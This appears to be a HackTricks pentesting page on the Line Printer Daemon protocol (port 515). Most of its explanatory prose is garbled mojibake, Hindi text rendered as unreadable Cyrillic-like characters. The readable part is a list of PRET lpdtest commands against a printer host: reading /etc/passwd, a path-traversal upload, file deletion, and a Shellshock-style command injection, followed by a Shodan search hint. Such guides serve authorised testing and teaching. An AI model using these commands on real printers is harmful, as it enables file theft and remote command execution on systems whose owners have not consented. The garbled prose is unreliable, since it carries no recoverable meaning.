515 - Pentesting Line Printer Daemon (LPD)

Support HackTricks

LPD рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдкрд░рд┐рдЪрдп

1980 рдХреЗ рджрд╢рдХ рдореЗрдВ, рд▓рд╛рдЗрди рдкреНрд░рд┐рдВрдЯрд░ рдбреЗрдорди (LPD) рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдмрд░реНрдХрд▓реЗ рдпреВрдирд┐рдХреНрд╕ рдореЗрдВ рд╡рд┐рдХрд╕рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛, рдЬрд┐рд╕реЗ рдмрд╛рдж рдореЗрдВ RFC1179 рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдФрдкрдЪрд╛рд░рд┐рдХ рд░реВрдк рджрд┐рдпрд╛ рдЧрдпрд╛ред рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдкреЛрд░реНрдЯ 515/tcp рдкрд░ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬреЛ lpr рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред LPD рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд┐рдВрдЯрд┐рдВрдЧ рдХрд╛ рд╕рд╛рд░ рдПрдХ рдирд┐рдпрдВрддреНрд░рдг рдлрд╝рд╛рдЗрд▓ (рдЬреЛ рдиреМрдХрд░реА рдХреЗ рд╡рд┐рд╡рд░рдг рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддреА рд╣реИ) рдХреЗ рд╕рд╛рде рдПрдХ рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓ (рдЬреЛ рдкреНрд░рд┐рдВрдЯ рдЬрд╛рдирдХрд╛рд░реА рд░рдЦрддреА рд╣реИ) рднреЗрдЬрдиреЗ рдореЗрдВ рдирд┐рд╣рд┐рдд рд╣реИред рдЬрдмрдХрд┐ рдирд┐рдпрдВрддреНрд░рдг рдлрд╝рд╛рдЗрд▓ рдбреЗрдЯрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╛рд░реВрдкреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЗрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рд╡рд┐рд╢рд┐рд╖реНрдЯ LPD рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рджреНрд╡рд╛рд░рд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпреВрдирд┐рдХреНрд╕-рдЬреИрд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд▓рд┐рдП рдПрдХ рд╡реНрдпрд╛рдкрдХ рд░реВрдк рд╕реЗ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди LPRng рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, LPD рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреБрд╖реНрдЯ рдкреЛрд╕реНрдЯрд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╛ PJL рдкреНрд░рд┐рдВрдЯ рдиреМрдХрд░рд┐рдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

LPD рдкреНрд░рд┐рдВрдЯрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдХрд░рдг

PRET рджреЛ рдЖрд╡рд╢реНрдпрдХ рдЙрдкрдХрд░рдг, lpdprint рдФрд░ lpdtest, рдкреЗрд╢ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ LPD-рд╕рдВрдЧрдд рдкреНрд░рд┐рдВрдЯрд░ рдХреЗ рд╕рд╛рде рдЗрдВрдЯрд░реИрдХреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдПрдХ рд╕реАрдзрд╛ рддрд░реАрдХрд╛ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рдЙрдкрдХрд░рдг рдбреЗрдЯрд╛ рдкреНрд░рд┐рдВрдЯ рдХрд░рдиреЗ рд╕реЗ рд▓реЗрдХрд░ рдкреНрд░рд┐рдВрдЯрд░ рдкрд░ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ, рдЬреИрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб, рдЕрдкрд▓реЛрдб, рдпрд╛ рд╣рдЯрд╛рдиреЗ рддрдХ рдХреА рдПрдХ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдХреА рдХреНрд░рд┐рдпрд╛рдПрдБ рд╕рдХреНрд╖рдо рдХрд░рддреЗ рд╣реИрдВ:

# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local

For individuals interested in further exploring the realm of printer hacking, a comprehensive resource can be found here: Hacking Printers.

Shodan

  • port 515

Support HackTricks

Last updated